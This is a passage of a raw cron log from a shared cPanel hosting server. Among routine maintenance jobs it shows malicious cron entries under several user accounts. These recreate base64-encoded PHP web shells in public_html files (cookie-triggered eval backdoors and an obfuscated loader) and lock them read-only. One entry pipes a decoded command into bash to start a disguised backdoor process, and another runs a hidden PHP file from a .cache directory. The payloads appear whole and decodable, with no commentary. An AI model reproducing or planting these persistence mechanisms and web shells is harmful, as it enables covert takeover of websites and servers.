19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:00:01 medusa CROND[11347]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 13:00:02 medusa CROND[11781]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 13:00:02 medusa CROND[11782]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 13:00:02 medusa CROND[11785]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 13:00:02 medusa CROND[11794]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 13:00:02 medusa CROND[11795]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 13:00:02 medusa CROND[11797]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:00:02 medusa CROND[11798]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:00:02 medusa CROND[11799]: (root) CMD (/usr/bin/flock -n /var/run/cpapi_cache_upd_lock /opt/cloudlinux/venv/bin/python3 -c "from clcommon.cpapi import invalidate_cpapi_cache; invalidate_cpapi_cache()" &> /dev/null)
Mar  2 13:00:02 medusa CROND[11793]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 13:00:02 medusa CROND[11805]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  2 13:00:02 medusa CROND[11800]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  2 13:00:02 medusa CROND[11804]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 13:00:02 medusa CROND[11807]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 13:00:02 medusa CROND[11796]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 13:00:02 medusa CROND[11808]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 13:00:02 medusa CROND[11810]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 13:00:02 medusa CROND[11801]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 13:00:02 medusa CROND[11803]: (root) CMD (   bash -c "sleep $((RANDOM % 1800))" ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Mar  2 13:00:02 medusa CROND[11811]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 13:00:02 medusa CROND[11820]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 13:00:02 medusa CROND[11828]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 13:00:02 medusa CROND[11830]: (wmondolo) CMD (/usr/bin/php -q /home12/wmondolo/public_html/lista/cron_insert_turno.php > /dev/null)
Mar  2 13:00:02 medusa CROND[11831]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  2 13:00:02 medusa CROND[11837]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 13:00:02 medusa CROND[11839]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:00:02 medusa CROND[11840]: (roble) CMD ({ echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMTc3IGRlZnVuY3QgMj4vZGV2L251bGwgfHwgU0hFTEw9IFRFUk09eHRlcm0tMjU2Y29sb3IgR1NfQVJHUz0iLWsgL2hvbWU4L3JvYmxlLy5jb25maWcvaHRvcC9kZWZ1bmN0LmRhdCAtbGlxRCIgL3Vzci9iaW4vYmFzaCAtYyAiZXhlYyAtYSAnW21tX3BlcmNwdV93cV0nICcvaG9tZTgvcm9ibGUvLmNvbmZpZy9odG9wL2RlZnVuY3QnIiAyPi9kZXYvbnVsbAo=|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng defunct-kernel)
Mar  2 13:00:02 medusa CROND[11838]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 13:00:02 medusa CROND[11844]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 13:00:02 medusa CROND[11848]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  2 13:00:02 medusa CROND[11867]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 13:00:02 medusa CROND[11868]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 13:00:02 medusa CROND[11873]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:00:02 medusa CROND[11879]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/monedas/cron.php >/dev/null 2>&1)
Mar  2 13:00:02 medusa CROND[11870]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 13:00:02 medusa CROND[11869]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 13:00:02 medusa CROND[11875]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 13:00:02 medusa CROND[11878]: (root) CMD (/nutscripts/check_mail_blocked.sh > /dev/null 2>&1)
Mar  2 13:01:01 medusa CROND[23784]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 13:01:02 medusa CROND[23977]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 13:01:02 medusa CROND[23978]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 13:01:02 medusa CROND[23981]: (root) CMD (run-parts /etc/cron.hourly)
Mar  2 13:01:02 medusa CROND[23982]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 13:01:02 medusa CROND[23990]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 13:01:02 medusa CROND[23991]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 13:01:02 medusa CROND[23994]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:01:02 medusa CROND[24001]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 13:01:02 medusa CROND[24004]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:01:02 medusa CROND[24011]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnI